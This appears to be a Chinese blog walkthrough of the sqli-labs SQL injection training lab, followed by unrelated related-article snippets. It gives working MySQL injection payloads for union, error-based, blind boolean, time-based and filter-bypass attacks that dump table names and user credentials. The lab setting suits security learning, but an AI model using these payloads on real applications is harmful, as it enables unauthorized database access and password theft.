sql注入靶场sqli-labs常见sql注入漏洞详解

目录

sqli-labs-less1

   1.less1普通解法

        1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)

        2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接

        3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段

        4.判断查询语句哪些字段是显示出来的

        5.利用上一步的回显和database(),version()函数回显数据库名和版本号

        6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名

        7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。

 

        8.数据库知道了,表知道了,字段知道了,开始查询内容

2.less1解法2报错注入(union用不了时)

1.爆表名

3.less1解法3无列名注入

        1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的

sys.schema_auto_increment_columns表里面有table_name

        2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来

sqli-labs-less8

  1.less8布尔盲注

1.爆数据库名

2.less8用python写布尔盲注脚本

1.爆数据库名

二分法爆数据库名

2.爆表名

3.爆字段名

sqli-labs-less9

1.时间注入

1.用python写时间注入脚本

sqli-labs-less1

   1.post提交方式的注入

1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

3.-1' union select 1,group_concat(password,0x3a,username) from users#

sqli-labs-less17

   1.有过滤的注入

        1、爆数据库名

2、爆表名

3、爆字段名

4、爆字段内容(用户名)


sqli-labs-less1

   1.less1普通解法

        1.在url里面填写不同的值返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)

select * from users where id='  1'--+  ' limit 0,1;(为什么要id=1'--+)  引号和前面的引号闭合,后面的引号被注释了

        2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接

--+是url里面的注释,因为#有其他用处,--空格里面的空格会被忽略

        3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段

        4.判断查询语句哪些字段是显示出来的

?id=-2'union select 1,2,3--+ (-1可以让union左边的查询为空,从而只回显1,2,3所在字段,就可以知道会显示哪些字段了)

UNION:它用于将两个或多个查询的结果合并为一个结果集,并且会去除重复的行

        5.利用上一步的回显和database(),version()函数回显数据库名和版本号

        6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名

        7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns里面有。

 

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'(限定数据库) and table_name='users' (限定表名)--+

        8.数据库知道了,表知道了,字段知道了,开始查询内容

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

2.less1解法2报错注入(union用不了时)

报错注入必须加concat函数将数据库名称连接到原始XML文档节点

利用updataxml()或者extractvalue()函数来报错

1.爆表名

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e),1) --+

updatexml(1,2,3)里面要三个字段,1,3随便取,2是xpath路径,不对就报错,

正是利用这个报错注入

concat把0x7e,substring三个字段连接起来输出(把查到的数据用自定义符号连接起来)

group_concat把表里面每一行的结果拼成一个字符串输出(用在查询语句里面来查询的

substring是截取字符串的一部分,末尾1,20是截取范围

?id=-1' and extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e)) --+

extractvalue(1,2)里面两个字段1随便,2错误报错

concat把0x7e,substring三个字段连接起来输出

group_concat把表里面每一行的结果拼成一个字符串输出

substring是截取字符串的一部分,末尾1,20是截取范围

3.less1解法3无列名注入

当information_schema库被过滤了,就不能用了,里面的表名,列名,字段名就查不到了

        1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的

sys.schema_auto_increment_columns表里面有table_name

能查到users表名,但也仅限表名

        2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来

在知道的数据库名下查询这个select * from (select * from users a join users b)c;

因为连接的是两个相同的表,就会报错:字段重复,就知道重复的字段是什么了

join是连接两张表最后的c是因为子查询必须有个别名

using()排除已经知道的字段,就会爆出下一个字段select * from (select * from users a join users b using(id))c;

sqli-labs-less8

  1.less8布尔盲注

当输入id=1之类的东西,他的回显只有两个值,一个对,一个错,就要用布尔盲注

联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注

1.爆数据库名

对的回显

错的回显

所以115就是数据库名的第一个字母的asc码,substr后面的截取字段就可以一个个把数据库名爆出来

 

2.接着爆表名

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+

 

3.接着爆字段名

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

 

2.less8用python写布尔盲注脚本

1.爆数据库名

二分法爆数据库名

2.爆表名

3.爆字段名

sqli-labs-less9

1.时间注入

网页表现为,不管对错,都是一样的画面

比如sqli第九题,怎么样都是you are in …….

利用if判断语句和布尔盲注,如果asc码满足条件就延迟4,如果不满足就直接返回

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

条件满足网页在转圈圈

条件不满足网页直接返回

1.用python写时间注入脚本

sqli-labs-less11

   1.post提交方式的注入

和第一关一样,只不过是提交方式变化了,在表单标签里面注入

并且要填两个值

1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

 

 

2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

 

 

3.-1' union select 1,group_concat(password,0x3a,username) from users#

 

 

sqli-labs-less17

   1.有过滤的注入

17关(username被转义了,只能name是正确的,然后password注入)

        1、爆数据库名

1' and extractvalue(1,concat(0x7e,database(),0x7e))#

 

2、爆表名

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

 

3、爆字段名

1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c))#

 

4、爆字段内容(用户名)

如果直接查询的话会报错,因为被过滤了

1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#

 

为了绕过他不让用users表的限制,把users表用(select username from users)代替

 

1' and (extractvalue(1,concat(0x5c,substring((select group_concat(username) from (select username from users)a),1,32),0x5c)))#

5、爆密码

1' and (extractvalue(1,concat(0x5c,substring((select group_concat(password) from (select password from users)a),1,32),0x5c)))#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/394799.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL:VIEW视图

概述 MySQL 视图(View)是一种虚拟存在的表,同真实表一样,视图也由列和行构成,但视图并不实际存在于数据库中。行和列的数据来自于定义视图的查询中所使用的表,并且是在使用视图时动态生成的。 数据库中只…

Unity物理模块 之 2D效应器

本文仅作笔记学习和分享,不用做任何商业用途 本文包括但不限于unity官方手册,unity唐老狮等教程知识,如有不足还请斧正​ 1.什么是效应器 2D 效应器 - Unity 手册 2D 效应器是与 2D 碰撞器一起使用的组件,相当于预先编写好的插…

⭕️【论文阅读】《Interactive Class-Agnostic Object Counting》

[2309.05277] Interactive Class-Agnostic Object Counting (arxiv.org) code: cvlab-stonybrook/ICACount: [ICCV23] Official Pytorch Implementation of Interactive Class-Agnostic Object Counting (github.com) 目录 Abstract Abstract 我们提出了一个新…

【合并 K 个升序链表】python刷题记录

R4-分治篇 目录 最小堆方法 分治法 ps: 如果只是数组就很好处理了 # Definition for singly-linked list. # class ListNode: # def __init__(self, val0, nextNone): # self.val val # self.next next class Solution:def mergeKLists(self, lists…

Spring AOP 源码剖析

一.AOP基础概念 切面(Aspect):切面是跨越多个类的关注点模块化,如事务管理。切面由切点和通知组成。连接点(Join Point):在程序执行过程中某个特定的点,如方法调用或异常抛出。在Sp…

kafka基础概念二

1.Kafka中主题和分区的概念 1.主题Topic 主题-topic在kafka中是一个逻辑的概念,kafka通过topic将消息进行分类。不同的topic会被订阅该topic的消费者消费 但是有一个问题,如果说这个topic中的消息非常非常多,多到需要几T来存,因…

区块链的搭建和运维4

区块链的搭建和运维4 (1) 搭建基于MySQL分布式存储的区块链 1.构建单群组网络节点 使用开发部署工具构建单群组网络节点,命令如下: bash build_chain.sh -l 127.0.0.1:4 -p 30300,20200,85452. 启动 MySQL 并设置账户密码 输入如下命令,…

关于Git使用不成功的问题解决方案记录

关于Git使用不成功的问题解决方案记录 前言代理连接不成功总结 前言 项目中建立了Git小仓库,但是在使用中出现了无法push新的代码,显示端口出现问题,发现网站和端口都没有问题,可以打开网站。但是还是连接失败,无法下…

MySQL笔记(十):MySQL管理

一、用户管理 #用户管理 -- 原因:当我们做项目开发时,可以根据不同的开发人员,赋给她相应的mysql操作权限。 -- 所以,mysql数据库管理人员(root),根据需要创建不同的用户,赋给相应的…

android中打包apk体积优化方案

1.在配置文件AndroidManifest中新增 android:extractNativeLibs"true" 2.在模块build文件下配置支持的cpu,一般配置64的就行了,多配一种so库体积大一倍,择优。 ndk { abiFilters arm64-v8a } 3.在模块builde文件下配置混淆除去无用的资源文件 注:三种…

【Kubernetes】Deployment 的状态

Deployment 的状态 Deployment 控制器在整个生命周期中存在 3 3 3 种状态: 已完成(Complete)进行中(Progressing)失败(Failed) 通过观察 Deployment 的当前特征,可以判断 Deploym…

Win32注册表操作

注册表的概念 注册表是一个存储计算机配置信息的数据库,用于存储计算机上的硬件、安装的软件、系统设置以及用户账户配置等重要信息。对注册表的编辑不当可能会影响计算机的正常运行。应用程序可以调用API函数来对注册表进行增、删等操作。 注册表结构 运行Regedi…

Linux学习笔记:Linux基础知识汇总(个人复习版)

常用命令: 1、ls -a:显示所有文件(包括隐藏文件),简洁版 -l:显示所有文件,详细版 -R:显示所有文件以及子目录下文件,简洁版 可以搭配使用。 2、netstat -i&#x…

priority_queue模拟实现【C++】

文章目录 全部的实现代码放在了文章末尾什么是适配器模式?准备工作包含头文件定义命名空间类的成员变量什么是仿函数?比较仿函数在priority_queue中的作用通过传入不同的仿函数可以做到大堆和小堆之间的切换通过传入不同的仿函数可以做到改变priority_qu…

书生.浦江大模型实战训练营——(三)Git基本操作与分支管理

最近在学习书生.浦江大模型实战训练营,所有课程都免费,以关卡的形式学习,也比较有意思,提供免费的算力实战,真的很不错(无广)!欢迎大家一起学习,打开LLM探索大门&#xf…

Java设计模式(命令模式)

定义 将一个请求封装为一个对象,从而让你可以用不同的请求对客户进行参数化,对请求排队或者记录请求日志,以及支持可撤销的操作。 角色 抽象命令类(Command):声明用于执行请求的execute方法,通…

LeNet5模型搭建

文章目录 LeNet1 搭建模型2 训练模型3 测试模型3.1 预测一3.2 预测二 LeNet LeNet 诞生于 1994 年,是最早的卷积神经网络之一,并且推动了深度学习领域的发展。自从 1988 年开始,在许多次成功的迭代后,这项由 Yann LeCun 完成的开拓…

【最长递增子序列】python刷题记录

R4-dp 目录 常规方法遇到以下序列时就会变得错误 动态规划的思路 单调栈 ps: class Solution:def lengthOfLIS(self, nums: List[int]) -> int:#最简单的方法nlen(nums)if n<2:return nmx1for i in range(n):max_i1for j in range(i1,n):if nums[i]<nums[j]:nums…

RK3568平台(触摸篇)FT5X06驱动程序分析

一.设备树 &i2c1 {status "okay";myft5x06: my-ft5x0638 {compatible "my-ft5x06";reg <0x38>;reset-gpios <&gpio0 RK_PB6 GPIO_ACTIVE_LOW>;interrupt-parent <&gpio3>;interrupts-gpio <&gpio3 RK_PA5 GPI…

大数据-70 Kafka 高级特性 物理存储 日志存储 日志清理: 日志删除与日志压缩

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…